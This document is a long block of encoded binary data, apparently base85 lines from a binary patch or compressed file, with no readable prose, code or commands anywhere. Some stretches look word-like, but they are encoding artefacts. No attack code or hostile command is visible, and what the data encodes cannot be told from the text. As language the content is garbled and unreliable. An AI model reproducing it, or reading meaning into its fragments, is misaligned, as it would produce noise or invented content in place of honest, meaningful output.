zr$DjvmuR2EFs#k??xV?Rs1vvaTXyf^C5>syXv`>vfYFS9UOjk>_^8S|ar$^Trha81 zAZ$BMA?UV_M&VQ!R1D+nvSdE}YL+_u9W|U;IUm!MG9!9MIa-V9 zZCb~}b}UZ>H7hGRhrGY&3etp|36qqR4C-5sHLEW#-&YBXskF@)|PO4CVM7`@t;xpv5ew7*( zNI5`LQx^ZE*n;smk4B}3h$*WQTe^j?bFON6&xhp7FDzH;0J_f7gp`si47rq&u1FJx zg0+Brr<^MlY0B~M!{V#8xCNToilv%rd~!K6c4b1+XqA|Jgq@ioJs?3AQXYLVdAuA? zeu(gO-;u*Y$x8mpg{Ur_+>|>p|-%G7z&kmOT&|5o_2^^OtuEV>@E|FCV@W~ za`8Ixu;?OHJi+_I63*Iyo71Nsbs#}jqx-Q-4;FP_5&wpfSvrkW0qkVwldg*&AltE+KZ$r_`f}os>@szvegXt6eW)0|!O!PCu^gn+vB-ZCFq<{AX$g z&lq@>py9$@mb;U7)DWn`q2&fR6=@+i+zE_G5?I^s5l)`{d4V^SNlnJdkxbwYfQB>V z^6#YOs@PF~8;}sJ>j6bE`L_WQl4dHXCWP&LK)xgW^{O<|-T$t$6jJRO!@%pK5dvVM zUWsa+ahd9I$pslagbCS`ht9e0jK)dwoN%fIwk>&nI0dmrU%|H~S`uDuk$6viE>z+< z;n%4GJYb`Qru7;0DW>&uMte%xA_}_=v#>UkTo};t;_?-Cou;+7^>eO3V=2G&av(Nl zjFd~>#APPpm++7madqSlSCw2d;0uF&%wmZBqAHyIurd~jRq+O^+QK42P&R}bZ9(DI zS3|=rE%1LOI@TN?MC%*~1WfeDai|$KJ2)M~>r60nQ9eF2e%_1PgdNVFW_eH4QBl4f zds8OcVEiWvAw{1Gk?^7?y%0sI(?3SjB;4%;8=|#1EWIJQ`_;gq7K3(P{@6-TI+mc0 z+ov8nFst%*G(+QPY%Q*ou2-_@L^iT45gLrab{(>z^_D=Rtv(Ej=@r0S6`Nbs)?BeE2MoN;*xs&HdY-xw!YqPa6?2XJH|zM4C!G9PKxGm?k|tNc1f`9MP{6rDiCsm zzVjzHc(Vk4TxMq9Zr<|#H(Mx#VH4`SZI;3pXLB54xgijPoK zfMnw?HxYuFM(_(h;sQuyK$c7nHza~FdZKu*B1yJHPzFUT{U4Pj%9YL!qrtP8{YcN5 z%S_h}ke#6}fCT&P0aU_FR~_9P#7svAP=pvE*EW&14UiBcCjkkTq%C`2=6s7M#PdUb z+I{xMqvp4(w2oYw=IGy|+`MBFp*$<5*k&zsp#p_5$9o`zf6oy_hm4ji6FpCUkc zu38jI<>?ax0dwbM9s~cB>DQy`2b@6D{`CY(OyD_zx-tFRD$_4gnf@IwrYB20#1B$%GglnGX^qC#F89-U|C3yaHK6z<8QJ`1uUqjF^nEoGX5E%)P_ zMENUlUoIfbKHyJSFHZ{I!&0qiHI+)Ugl6MsR-}ILnH5PaEmJA9Ql-#x zFA6O}K0zUp++tRwu~n7@6p1Qd!9y`s@xtwIkk35%9t)>ZD7OTk{u9cvT3(2cKspjG z)PtZM2^Wk}7A~Zi({KbKBLGrkTr}N`C#LCQ20&9JW};ZBIk$B4l60c-(8Vg7>VILc8->3C4)IzQxHf*gLyyG|wV zCY8J!yvVy19}Dtc0VK%VQYG(We#yJShrAwWTkz)S%|)W1xhuRinn zYN^jx^L)Nq;gjccpK@0FdW)1wLayn=dX13a{+SF(Xgyk zOX{tlCuAK=`w&;bh4G(tNoF%$tv=s}9U@sBKOgpG$ijbhDNYO7HIEtTDo z@^oDGaQUvm2sQvRbyc)#GZd*J2tfV2_UYC5+n^~$cv=^fU!!etFl^GHMOoV zuewyy0N5*9`cG`X%Dq{bu&_|9Q2>%jRbv9jYHbrDZGmj(Pq1}%Xl;RRrYf~XB$r@OHLyihY-bs{ zNspk!cy35bKqiKw0f{DM0rJ(z4!Op>n^gjBbQ%5q5>mA{8@;*L1QJ%M$iq;}o#tDaQg~;Vd-;ddB*;pGrNT9U1F7)-LwT&-gjwf`F6jwxcHQ*V?6T0^lS44JA!*f~!jwtB5`h!({C1V&OtyFv8nIA($Um~RSUk}W ziwG}`U&wUNt-q&ubm{TMKps=HPurg%ntOy?s1fK-E*#N$YY^Y~q@46gIpdS^qfbf^ zr+BUJc<+UrAq*H}ZVNmpnO=raqx^?aacOpjm@&zRd6x}p2+byA#2FQXF-L>Khz3}& zowjtwsi`PSG+APzB|9vMyq#f$8xDK8AuFT=KBXm9)B)#2^J+-Wm0}#St&3<;{FPD} z0=-~G*{FbvCr<-H+;g#|oQcTO1A(AtNEvDcs5~Iyh8)6>0cnB|F8~tejb(stvN~`8 zP?sqB!X^569_p?7fXkO5t<%&#OO($idiPn9{D*T&5?jnwapoM862iYEu(hAo?Fe&F zNRycjSLNA~uJ1D!2hg5T*`dam%9chrAzo-bSmNBrl;kOeQ3oLM%kQjox1^+qm&dlG zTynd!B|#R!Udcrk>@%N2IVG01C`W72qnunW$GQEKn#<*ca5;{)pcE`=iCXg^M_{6S zfc9<5VS0p*;cW*FJpKw-Q-L*iynH?CKy=b63$*&vmip>ZctJ=x0kStCQc#le6t^s7a)Wv@rB{XC^D{9*DimK`P`&tumL>|= z(tM04fCvHNWRP5Jh=y`SeF_hS`}IAHxhNJBqpwR}UG7R!TpDr*lH&3(L$tLfx^e;_ z(QR)45?x6nB$hkyOF*Iny}OO=(bmg7-MY@#6#)Ax&Yd#4pc+jlV;@OeGU(0;pUV*K zte_u{lVOO?L=^D0eIgV>aL5l-aU?w$(7O`%ZU+dPE~0xQy}CEj)x8K!e>&053kPs~ zo+A);Z&-Ge+J&LVc{Bpml4KHWUu=q=jMLf=()Gm7J;BbvdxWx=shDC(-;dz_Zw9Cp z_c}3kbB0LY7yVCTTl7EKghc=U49LL!Pj-3H|435*KC4R8hhK_hTuy_ibR!C4i20gd zoiSq+qSOabmf$m(@jwbaIh?ao1t{?sD&4N3B4JBQgK^JkNe7d6VKT%pp-6hC5fo|M z3Y;|{T7(b)UJ}224vVzq$V1sBg~FIGU~mV8`+>r@EJWeXg2D!-uoxA@=?11SPaFOy z%!uI7G};29a>%d(P@S6RMd5xANa01{)TMrjOxE0XOk^5bk1=U!ne!+^T>uFp(-}N5 z`FsjUOg`5D3Bs2{hY7;d_K1-QpQaMtFPYuvByykdA+h(kL&&lD;Up}@z+1@>Zv#d0 zz$4@A5+u6D;0DT48ijCr$u$NAg`884lR_-w%znn81ac^t@O}%QPa=fGAdDbt5hkAF z@jlk9Do%LJTfKy^l71-+xuoBFNE5wHdjX=izX8;dd;1wer?)FOHNRjgc!7U13X z8if=@@8$XUs~?5Q82#Mu0CxW>ZPqMK1Z=Sz~(`k)ha~C??hT# z%p(4EDIcSk*QzXmR%IRr7c9xtE0vP5VP@$_y%}un5}Mu?!KcX)UyHqgM>6gK8BLwj z*1R$}6QvwF&$ZN{+%@v!@s2Ee9v)iCO4rx2H<){hj7cwW|Bx~1d4^oZByu8pr6%5%ef4B7j*pS#dRD6ofg7no zr(EMBA*zEA57tSckX6N&Hjo*dl9`KOe(>~@Y=PG$?S_G&mM{)Wp*)cf>NN@BLR%`U zImO*}EA1^faF-^ztm{hS4UfH>S=?oMeD@l66j?!JhKNA~Xtg6NU;;h^#U}MQ7?@v{H-Y62XiIbFjrQU*de1SS{Z>Jy}X3cA{0JmWFi24$WSC8 z(aQkTzpYhiiSVz61kMQurw7~P?m{q>MS;o^KiAbqYZ)2pqm7IL_0gvcx%wy`X`+ux znrD2MS7lkZ*P5R`mTgUp`&UTikc4(&kfUO-Q^jDr7Y6sCh_AlvlCJKTya$VFvFd=G z)Po*-7y&(yI>^-$*XJ|T8jzrex909)_eb4k1I;v2es^f*6Ka{^`lpjHs^Nc91tA1c88j$GMG(cy0n&lq$+^l%Ot#kJ~f-%d8 zBea*ea^mKzTqT*K91PKL^BrWL^C0^#BXLtj;!hQc+g?cgqbhmoA%+Tq`BsD?6cR>l zx2C^yGr24vv6&pmkgMGt(F1)koC0Ri7)W3#bl5F8S37X+OD`%yaur?`B~6#ao!bhVHxq zldxz(b5SiEKB#6-{>}PFfNJrJheiE67`!n9!}!JLkt(t6L>0I~?)YkA;fy~urx{~S z^i0`>qBk{E#ccMX$afciwhE*CfdpK5KS+S(3kYoi{ZwSET4{ZzDa zii(CwnEJ(Qh;(Em>fl9JuDT(hE)0?6ca!)3N*Yz#niuOf(K6lD(J67&bx}<+S4dK+ z2ScvW*%fJm#(rA;fFjY~GC)P5mx{#GDiVE5MFQBUf4?)M`A5rpcVEa13>r0r!+nuT zW2A^ELm3q!${>bZL@^-kem(OaqA*fLVXTV6OaBA~`MXjv2vx#Z+_w)VG6D~wl~cJ| zl3T{@LX{rn>WLW^{}Um6icz2* zILj3igPc~85q)7mny(5H6y~5X#Aq0c99{!{qzr97d>rfR^<%)b*>Mi zQge%IsR`&ehUx+moe~8|bjrVANa&PUq6c7!jy0Q~CHh@PfH<^FDk*_PpAtqu4@e+D z`{^Fy&L0gP{IUZPpN>Y&mp#B}=fvY|O&@uD4r+n>` zr-o0SW9ThUt+%#Mo{Vzdd5-v$JliMFT%VMNJ|&;@DJQ}w&)YubeCP93EB=Z{v*#S; zaw}w=&&!O=3zO@rjulS9YlmS0qSzVunh@;6A5-=~$lJ%u0z})d{#NZfpC!VQ!m$UC z2vxqDA=j#XB;MYS-T%fQT#6~`AlFQMUcmLy@cN3O27m;gcT{Uuy3B{q4YP5O&SwwR zWfP+Nfef>iyLWv1#M?M@f{`KwzGqa3&%b5p@A!N%Q{N9|-B+A9d@L|tCz5qIicEGQ zb{+LgMPTf!f1GEuiHesPS+c$S#E^@M{gCD+GrSeH2RgRkuLISE##Kgw$as^hrq#}` z3{fu%f_7Dr0HFT0`TJ2}nEkhX7tYo;bRdrk!)#BhoA812ZGhiV@h3Nh`cw0qb5#7r zO>y<7YgG7|obMOFrkoPM#?KIqB)f;OXq839BGO$&Mxh~aDaVjM?M>}U0LxsQ=t<=N z9H}ZQQngg1sy`4?XIK>a86Gad_x~@6>vL0x#Npfk8Zr$SDwV{Z65F6!k|@CJw@%}b zh@^sjKc}Y-S&~|jufR0afSr4oh9~mPIXILq95{$y;R4Mu1}GR|C)y1a5hE#77q&wr zHKdh850f&!KP)WDaQ8uwINJO+IS;&%`J*QZ33yt2go$g$Ev7|EB)5|mDJ>atEmFw8 zpL~>pG*&=DT&w_ey$z+g|E+X!nPSQ^(tzeM@@5eB@_n?GukPeOP*>2`Ze5Y) z(-nTlcL%jAI;vd}`GHs&<;aDXJuR8>Ag#0)*WM7&;|#e3Q!LV+6L|asg&e{!q6lA7uvg8~ zTn*{rX zUQHqK6NEj8ATm-pk?3~rbT zp+1*N&as=S9;HxXWhvtiO?~XRD)v<8(rB#Oj)`hJ(!JWDA_CyCFt=5rdKgM^KOL=7 z!q4?QM!Cp6sz()*{1v%?DjvKP6R7P`bK6_;VPj4$R0NlZNw`nLGLrs###$6?NhGKf z{nv*6)6;*otbdfTAdZmKrKlrH*iKT<9@ohs8Mg#%C$YFOz#iAb5wo2X7f0>w#Ao)n zn~sR>H5e-IsJ|V(tHF5_ysxsImTyKm*Acp%n8h9!9=msZC~lK0I*Z55qn3$k3rk_h ziKbb!=|}FF#A*^gLokp7aHTX*P!Kp`Mn@eb=VbC0icls9IN5dz1p4W{k%cA-W&ht= zTw-|kQ2XB)<3>kQgZ^04bX9{hiU$)Sjd52Cr3x*~cTg3PMdo zS*P6xa(#Zf42IABf=yzcicXYq`jBp$lLCqw-~-i>#60`jPT+~%3kf^N&w}QI!z1a^ zy?mrv9f8_R8t~1}TBhRP2>eU4-YKiidL4=O7n>Qa_ky(3bCH$&gQi%!1Wv)ZAmOG> z#6{$(ufa)rpld8S3YW7}=FBU;Vav3$GEs!Qujn=W?5Kva9l<-Q;%7VYd=Ulu-cbpV ze6}c>;PQa&sg+H!ziFpaj5t(|&^LXZd9APN%8acr)cR_*$F!NF$R+H4-Q)iq-0N7b zCd!34^q|e$gu>B-+RQZo5Q~jkXW$s8Db+9{5Rxt2fXfIokz*W%*`!e41{x=b6JZMc z4e`B&e5RZHK!}>ke1}13kWU#)zL5_V*--NAkOX^5HRG%h)9kC{jgw%D57lN<*|vBc z3I#-qaEWo_$0*zyTr#w)EioFGTA(zPmB@F@$RMPnqWra^9bI&Z{t7q7p4HAsMO02d zMA%9K%~4L(|D3al^Y}&S{&2G~w1PD>C(h+TMtZEBAu<<^Ufa8K9lId`#DZxnX5mK}qPeys)R+Ou;7KUIdxfEcj zO8-@k-Hk{W%<)F@xKk8M?g44>3RjrIm#ig~MtmL)03Mh_=7QOI znkF%7l0nj4g`NnCl!Fgxl!~P0W%*tclU$r&%`cM}`^R|YWh`DMph0lZBQoN@G@RLF8chy= z8k9m%M^ol?OWC2O=EaWZjkop%r9TeradR2M!Q(N&QiJ&c(x;keJZ=&F3GL!k2O>=- z&1H}gNVIn}gR4t`fp+FABtz}yxpa#K1q;_^PZlA6ULpKIki912j4XeMy@qG%qFrP@sL z^(4e8ZT@RQ22!XQkKk8S7Py-}k9JgysjQu;rPgV)JD9cESJ9#Qroc=Dlj~^9 zgkW4u>cEZ77zB8UBP%;DaTD{LmyPoEV%_Z(WAXhyZdTNRp>ei~FD2rLI=n@1S*n1I zDQ4(lfhDdhy+fn3auUUeRFef}Xc|I{Lfuo-X`;n_#*P|1>}0xy3JAEi6A;O(7+fi3 z?4hCHy6ZVLkHp8@&(Tyto6Cy;1!>HH-eIUGAR*8{1|%+zSO-X43b7fGxIBWqVMV?# z0118UFd(6ieG5qFW26g1hL|P9(BHtiD;#&(Kk#8j+fx%aR#MEoB-o zJ+Dd*$f`yeRkEFKzH@pg^9it|z+5P+q$AcyBI)aN>O)x=zr~Kqf*AqQaB5?w6U5}? zisP_iY+j-%=}S}-n>W6be9Ey3Ww@o? z%)^o4(OJ1>`7eSZag%30&K%&70(`6#wRIcG83nsRxRPROcW6;#gG%xoE%SKiLRVi)E9zI6zhEDyzm2>U|YP?qp{1Lqw&%T&`Ln!nDTOl z3`i6FJqM8Bnni#FchPuhUzNT%4oL7tAt1pQwBqT{-1QhBakgx%3X$R^zIX$W;N_)i znjcH5K~*sPM5b`NoPv~P5VtmosL^CD7l)VfoqG=bN#=|;%Ft(zFc(;(_2a_ac1!6B z6GsPG3auao$vrFLqKC5DZNF5ja4-=UeMmAckwuAg&jse72riYDnF{Snvrew#E^ds@ z*~A@7*2xVF(K=mp@kF)jXcf?lyUtHXxLF|mZW=i4aTN9y;YUPNZdZs7a&?6vjCvuB ztaX?Z#8DkGgcMhxaZGdu{i%cq|Vbk+DLg*F=fXLTKPI?tvg+vQhaFZrDHwynh_TB`p%HoS3e%J&7 zy`ZF+TBx{^1p)%1#+Aj3g8R~9$}W~E%0;a#!3!x}Z)(||rD>L}{>lZH6h%dIx7=FY zDv1_tamkeTd(J%1+!eLu_xu0f_w(M8d+vGWndQtmXU?2CGb6UDy#k(sA5vFJZWU8} zux{p~1U%yDuCo-{p;tc0NG^5k312da~GZ1Vc;Pb)8KuE&`p zt*eteCg4?A#Ja=-cyp&Gp&`Tzw}NzuoAnot zfhlm>YI!b`Rkqn*Ha0$TAqEd7YE?7q|2eFDR@IW8KlPX3N` zkI<{Ctzs}If9G^v5FMjXiJahQ3BXRMU~ImJ(}r$`IwdyVZwIf5ncr^aI-2?IWGE4k zkR5UqjtH^}D^DmtpJOD`6We+YRH9 zbBz8$ZcrOk>L@pZ2ziJh;snv4bU^B~5b6aC=d?Ebmo{)*zfxbxN}ZOKI#F+>P&@fK z1-T~{v3^#%Gz0A7^=b9QVLPOrTu@?dJ2~>85I$oe2K=D*L>DNmeA98SG;^N}7^So6 zTvk}0vxD)Sy7@#vn%_=BhiE@>P_*Ap!&<788?L?JB=I|Oem^!v>JpJxk}mNO_#C4! z+$T_mtO>!twf>|*G{d!Ct@u6Di!}OKrV?rN9~rW0^v%GHxB)%>|8`oOm$dj((&CZ} zS`24efGF~lBE|#3;?ju@PO%R6yyoN(F=Df`g9ZT@cNpxUl88@8-52Q$Wqj*42Fqlu znB#a7Y+*+5BSH^&iAuzffLCnh6!k1Dx@VJG>42m@fJ6+57el0ogtR^e$k`gMaT1Jm z^$EuRJuBm?*+Ua<>ahUcT%fLaEC=;yt?(gJd`O{h#Yn}w zxaJwcnG^WhORRI! zRvPt~LNW4~w1|riTt`~iyp3zt7Eot~>=!og=9>MxWp|Th$I7y!U6g&FC|k1*Z7%4b z^Y?7I%XtBV4Gm%~oQ0zQW(^PXle#sdv zO=WAR2$qb*4O(a89`Q6943?lx1`jwEOFs!mdy?bN8oNdwwDb#5Ge1LZZb=~*!qI9l z@7LxcVp3aI9sh`DQAIJ%G*NJ(lUla1h4i*+d($HiiWe(TjH0snc-r7+BHa zqq_k4v9yqBQOp?s8|(y~kmKkW}lT<|>|keFH`6ZxrR)$2N<^?D(G z(~yhWF9>7M_I~$c8c>MeAZ|G=3Z^sE29Ri5Pe9HC!(D;aS&-e?5yDgAIQ%)yfpEdI z?ZFXrcF}Aq+`QX7C$t!ldTsHp_ndwSf0*&iDih-*u8k>fgn+*NNO8kP;1Rj&r%`nD1*jEjll8&q2QZ0jm1)ac? z4eF}mzbyI$bFZ>4$VuRPxdYUd(M1N9p>CG`s;+|jvuJq@8SEk%)OWZji;MkB1tyu_ z2`xrWRPcXfj%vZHB_a$(u(v-c{>+q{_2xZcJ1l*?;&7~ay zSHW6pL+v=6x>1bW(kugf43-hWs4@%;IIGkZYfvDK@2ZKfHFo6&?7cyX>C0P%vJ4`G zZltWQI0zKdIG&`@$kLdgA5C{&SG7T^5zLJgH9m@Y5aOZS&5$0D;KrkX@>yEW0utj5 zIj^TMt~sD*8A=5t(v1To(mgDnz640TL8nOw=rcg#4PSQ+>H2IuwaKJ zY0UKH`E`8CSum`;44UjiJ=5VHs-CaSG5eKV;;4ZnIF5B|PkU&5gyFldA?|@-^AWz5 z48~w#uw6{SSLi0%ZNFd3LYK4$W`n-G0fmpSimg2^6=H&odqln6DqK~FSxkOXi1|!( zQi!<>^#UZwUj#@HgjAkb@23fhP<}MzLK&om`V6;S^?N6D9!?^JXQaRfax1+R=3mmx zC$v>Iq4_n(PbALLqftR~T>N48qRXL=u5F{hE!=gcuRBz;A8%Z!_B>u!rz=|nn6<=v zlnwMo+3Nr{Dwx}sUDZ9aIpKV@kM5bu(jB_8Ie4%Rovr|vVQgtPu$k5dgGCw?dYQg^ z)$flpNCf`}j5I7%U#Rv$W!S{j_mjhJobUBf{H|{eE487-WKp{NxIb+$OjsN z;!D5xwk3+|wt1sfFpJ!AGRcLtoso0Nw?3$gF$k9`PSxp_Y%WxnI77fUsCt&Jlvefd zR5$AhR#qE#0KXSLY?^(k|vD(|Tz! z-llcqVF85wL_kD?@piWNnYD29lbg?v#hQ3fm?@K;d_ONx6^ z{Mn*Fl<9+`bc)Jr8|XKJ6F^9K`EW5_h)B=ONR>^pJm#Jpf5C|Gq`fuw0>Pc5b&XXa z>q?(SF7Qpo@70-R1I+WN)UCm#nP^2GluCx);@=!J#a=>gP%C$eic2+b#bhPPGRZwJ zF4*Xo?y)`9qdGNgZ_!zYmSLs5F*2>8<)I{KXswN)zYX=b;;E>=KEB%6q-Ld-8m-)f zt{^T8rfzr~Fs*=QQM2<8{A@lVUW3Le!U;x`u3LG>>IHE1L?$&`dF{lGJ7`fvSN5J< zh(P^xWv}ArTAJS0ZnwE46ntSol*|muM5-hg(g)d1AWh`W@79`9O?&DDdna3p+{p-` zc^;0dO1329=r5c-wTp?I>ajP~qcSz@FoCiz!H!U@niXL&)RkOf8)#Myo|`K*z2Kih zjoh3Xwu6@NNiX1_PUwZbqLDicVSDxF>eTpsXyoQRnmbU@c^=S}VBtIv8sDTJEdBv@ zEPNyFJ#~fK%hDgg6~+=1!U;4%Gf#nYy%zFj9I4+x^h-0R1YiPV#ESO_8*xvfv%ZRM zBeEuyzb@#?gtn4bB!PrY@gZSfoo0T01<~JLw3A_|mZhUsx;6Dt{ti54$v{k}uC$Fz zixaC$o8s46qP!|-;5AA3sp$|LXS!MZoBd_7y@S)fh@)%0=umMfxQnmJF;nr9wcg|K zi~0>rvqM*UFMh4F)?3zDH){i){A>084d)WL&?Ai z`z;gDXPj;vpyT|s0MM5Vk##51{RpTx3_wpM6g(&nW9tQI!%!+C8PFC$o=O^^O$-eN zB;MTuXayVL2JqApp5#shB#iJE06oZ0_XFx1O}U(q>8{9hT|Kb$!RbZ;+Q86yK;n%b z0g3!5`sz7;dJiB`+BiVMO0@tI>E4t$iX1Dz1l~)j0yG7Xr}8nNLWcGM679IxODoMJ zp?3i#i8=!ktt@PyrF#~TXxk=INE0&@Lc#f<*Jadz;!lbCgvi!)^}YDme8j* zhi)CJjUj6|9M*6M_{kH42pi0#O2vY$I(1o$$t5Af;pRMpl$epe97+`x3u@ZUm$v7U zKb%b+NDKbOfW(6TqYPOmD}(S<5NH%2!S*?T1lvCVNU%K#favnYfbL*I(xj%mDdo(5 zMEe~y305MwSjo3JYf8B5VLlkcFrb%)79&?^nrRqYKo`U_(4sF1zqY%GochhkcEgF3 zn9cC5d2$G=$GiVHlcEE%p2Gy_3aFf+SU{p-rGVD6lmL*QAJ9POSQkg%jnkIM|8)bO zk_~)bHt-o24P58cztBsgLLuyU*K`U2p49eV@7C{SR+XgP;06pCH-gRg}d9;Xn}3O^}ZBq&1k zpzwTRjG(y_T~iu=SvQvkRx&w>J8}Lb7O{1u6xKp;h+@2tz7v3ZLB$ozJ8riElZ5i8 z8M1d7va1bYJ5nuC1K^3^TSwE(+j#E=*M+83rDaHOF#Y6Sw=4egV@GSu_!;&!ZD`KM z?X^gpYVl72n@$5C3sJ^fMfo`Oa4cbw5UJ=HA9k%}ThtdCB!#PyYCd0I;YNRhX}c)+ zi`tt~!_FHHTs3d6ZEWL7LVOE(cL&++q6?=1aZDBYFkfMg=?rKo^GP_M#SD?@Cq&|Y zKtel^LtBKM(Q1Z(!a(V(?5WL^&`b%D15!MtO$;Iz;g>a$`cd5Bjx~0$Y6;h>(u*UR zg=@w{E?FPEy60|EY|Q|@#f`WH&3}I`+O~Bx~P zSgiz*7^a>FB#7mj6P!unYwgtwRdpxo>KrfHYQ)l7ewU{WV?q#=y1 zCJ)t(zd@d{ zK=zf9drZBxY5;jd4CLazN>jn6h`$cUYFk~k!Bh!PNsU|4k5-qT<+eK!Ty!(Jd2BD* z5C_K6o?jnLUTQ}hECvMCO~ab-Hdr}KL5%UnM}iq7OW$Hp$MLjsayQ|2pmJ#WzL*uj zeQPMc3+udN!qeiWb}GWJF<`fWa@j;b=(R$B=sPej6CRq z$)W&>o*4j081Ewh3FG}fK*D&>lIeB>5}}b_0up`s8z2!-3#Xpit282w=kb=d>fO(f zYAHE~`P3_)-a_JLSgC{q$Te>l1wnWvbVDSg!8D_jV*JfuZpsVdh-UeUFxC2Y0u)a48yTLk1|jI`Iz~b%xzugfA#mfGx_?JH#z9}Z1658jyAzYwFq0E` zzh%g(eQ7WeOit`B$gu#BAjeWbf`BUk3H#j9m{d)X5Xssu_QD9_psoHiM$_Jxg~*Sn zJyJU! zYxMWh?Yf?2bu)&P)lC~M*7R1#}H&CK!SFTJZncO7e@%#o`r+Kh8UOa!R_Wlpj0PyxCCq39h-oIRbVqBjkYVqQR&H6 z-XmL?AzOK$Lo0`%_Tp@SF|r+nfX>@0D%)T!>tw)1iyRJ%_&;?hLY{2+c-ioA4hD`0&o5Ss%6@kH{{~V_mZX>_Nl|ozq_|||0sGLT8#=PSz8RRo9*5_fs#?_aKnkL!v&AuBRZR>X4c ziqyvn9IETENfTF4*~W0R<>e~61P7}O2;ZQ9ML0Lqi{?p7(%q*;q3dZRhSt0ZU+Q(I zFlolaq`?TR9!Dd=?61_Zdp7I!wJRclp$A(gk=Cji;bP>&>>>SoNb4!RXYTQ zXnkSkp1^i&-5ReTGz?cn1{umHQYZLdzY}uRP8f^t)_D7M?u0NvZ!;l58|6)g$cPbA zl>;d#UQ}o&K(oLH?Gy|fFGzHo@U7j&8WlO(%aH?Dc?qZo@)Lr$$S|#>4(?@ zt_XLj2ro0jJQ1B^u;6k;)8*k)gA5*c=McyCtFC#EUlCb~yLRL2iqSR)sUt5eT9>`fFqK<}Xm4F6Jt0 zZAiz#wV_s}4*u7R!>77?oJIKQ*F}dd1KjlGIvlM)C%Un}qCBqV6|AO{9^MBP;ibd@ zIt0j5NdR<^q5goxs8|k2s24i8=L&1&_JCING;p|tC{pq&Kc)Cc@pPAjz6MmsPXpbx zr+Nv^05oJO)u0oUt(aiO0us~8p@77+a<6s6{q8D;*`T!rX2{}hV(X;D|jY6omsbjH%(T__r?m>3bQ zP(D71g0bLl7RxQm>wbo|ytUT1ZdaaZ`lyhu#s(PQeyMGUl%qlb9t2^!^uh`eBIZdF zJy9+e9IlvuhdSdq4AtulwHCT9kdk;qEqmmZ-@!aaOR&_|`j=q811-f8?2k-UxMq~^ z8L}E=H2W5Q9P%*;CVUByFcrQ7WHSk}pL^Jvw@%&|n;ALI7i5d(5J^!39;6zZPW@`y z6{493^?DM12 z;ePxE+2I1(CZQvMF0-Eb29Tp2?!uBxkm5*-@eXrTwz|)pK~8K*%5y$p3uESpb2@pN z8qRCE7!9l|@nls;+gsJf_L|)c&tDp)RRbEdg-{`}#BPJ^RwfgK9o-mh7It(Hx1QK7 zkRdC(8G#eRL93D%m=0>2o&D-qwszQnYP&&AT;gyT+d%i%#+d5djNWV65N>CR_n+J% z$?RdU^!H3Po$*vXaxC_6HPWcA=^j;d>^$Q)b2CDaDugRfPL0+K(ZYk!tJ#1=)DZb< zh1@%6)U@)95dCn~0iGfIFo~v44vX=8vYY5cT>B|bXftA}vLJK^a>p4nG*hYs$jdLK zp^E^L_rahSGbxPNb3)0C7U$#O#|rfaO{?AnET&a^$(9Vk`D-;DFc@G%1#LP%t621P zWps!XQLn}WPtxKxaCW*fI%|f0RU!{v*-7;m)k;_PDSq+NKaHWuv}{k2Q8)+=0RTkn zH1pEXMM%k^>2Cl5gPH0=fdJ3rC&v%W1wdRVY!Os%5IID2rBi{YtgN8|IEPIQDbTzn zN9owNId>r?&h5~bU^Ba}PJaQCwg|QR03~6&{5L^`v51pHa3qek-bRsgFj$YM#c^R@Qg{o0<*6|4tDBh)zUAK{_G|Qepd)lHii1G)U&WUCS9nJ%gth zb9AK}@r@#IoF#0i)cEs7`)l3?%Aqhr*zX(wQ1cX?p-4IqBfAQfM2VC?=bUDVYKVY_ z+c6SQqi!l}5AhttB~f6)NQXRA4_w7*VYP`|$=VRAM7bgUcjFxt^1zvzMU7DyO0rhE z=+jz1n^_Lx5VT|8LQ>Uh%G1r+I08;RN2RI_D&2tvhJ@ob7896VN@s@jfP}!@33>{- zr|55CH9a69I)=y7kF;$=u%CbmB}Ac{0=Ey45H{D#!PnU(Rt*MMO-x?-ufn`d>BhBh z0w|X2OvY0*Lu~+w+Ml?*^TpSWAMUsEr;|xB4+_SDYlPN8P1?doZ>}Rb=#sc*Rh8N#EX;#>!8{#ZBfZArd&9ne5O|qK)DR{0VE`8B_Kh$vw(bq zNah^|PQ)36=xI0c|Mw|2K~l^pDK_Z_CN>V?p?0mtaXqR+Thz9yivM~eAD4}sBO6)nqLFKzG>B(? zeR*w-Xmi$v8j&lMcc9~$QZ1?5GPq08ZK<1ULZC)$`V121tPr1)&3Rrn=NX6QOqP9C zpD<&_Aa1v}(SSB15!g}HfZD2#ssWRs0T&^6^dHzSf!BD{WdoX>OvhLWd^lOavyn{j zs?c^;b{$RAe^!r_l~p}fyBkNV>X9B4eJ8V_HJ;MYc|fL_clx~?S`3JJouXrTSpvJO zYivlDL8Mbx7B~(S%L}YJt9?kg)at1@Ax|M&SZ5WbaNaf<3$?neJ&JvW=}(@VrA&32 zhAw6(8IVw`q)dg(7+^}Z5Nh>W1FOrpZh84AY!s?9TL9j0KwuDUlDhd!2ni8LZqsa+ z9P<{}nCiZQ>q!&AcNwxy1n&cGsgnTEfS@WfhqY_x6+k8tR)uKzZ-A|L4rY`|J62;g z*QO=P+rV|8p=vEd*5&GW;NIZcxX>}zHlFN-?=KrqTex)Xr5s4c6sMSF8V;pHt;9U*YHkmnG{f$i^Yhw48KxwQZVXvv@q35q3zEpsGc1wv zCxE8h8@8C|ozjrDhSIkA-0FmR$?2_EoG|U3-dgOGrjt{erJUv$hgK!@i|KiK-M+w0 zk1B5|<5GU=`TX5^Q%YA3STpCFXXkc%V3G3PrhUtr?+<)omr^sKoo&pnco*5<)y=1+O*K;Tn1 zZDpRvVwpx{8@ntNdFdgWZ5_xkv)clJCOxba(vjn~H` zuS69rdTac!)OYTD?zPFyECXY_q{pb^>gkSb6%-^XL0L_plG*<^k(~E)z>wg^-zUujXf$L|2uRhxA_o2h@l@7m^RVPxr zr+gCl+y%U!y#K@do_=xmEzdRSzt%tW>zyaQIrEzC+||+14F)`2@>1xL3%h4`FjNnH z;qA!uca}yp|Gjn0Y-P!~V|Cx{4_qEE=1`$0OXBYS{gc2admz93m_zLyes^&A-O=Iq z+aK1p3Yh+4>eA*rx@iRa#%dNu8%H{Q(qY1u4GCx`T>mbOVbe73Of6ECNH z_egU?!s3)uhlXD0mb%g-*;w2-^!cSHNo$XvgzAHasC6(Y?b5&(1R)7{O9Ex z&&|vj_*CgY%bHQ~HPdG8j~)5@yp&fqts7Qw|IrJ!Z>(UhdD-vniXXN-JaE1xB31de zlW)T|0}>8SeIe!bMFYPM`26{p+ApR)e*7)31WT`BGu|9>vHjo|U+(?Zrv-+U(~Y4k z=bzi1@aMaKOkFds|63(fJw~7X_RMjw!?Oan?F%elPLize+-B3L#$ygZH@OMjwBlsg z(VUU!lL_d9BVMl+*F`0z{k%8uy6 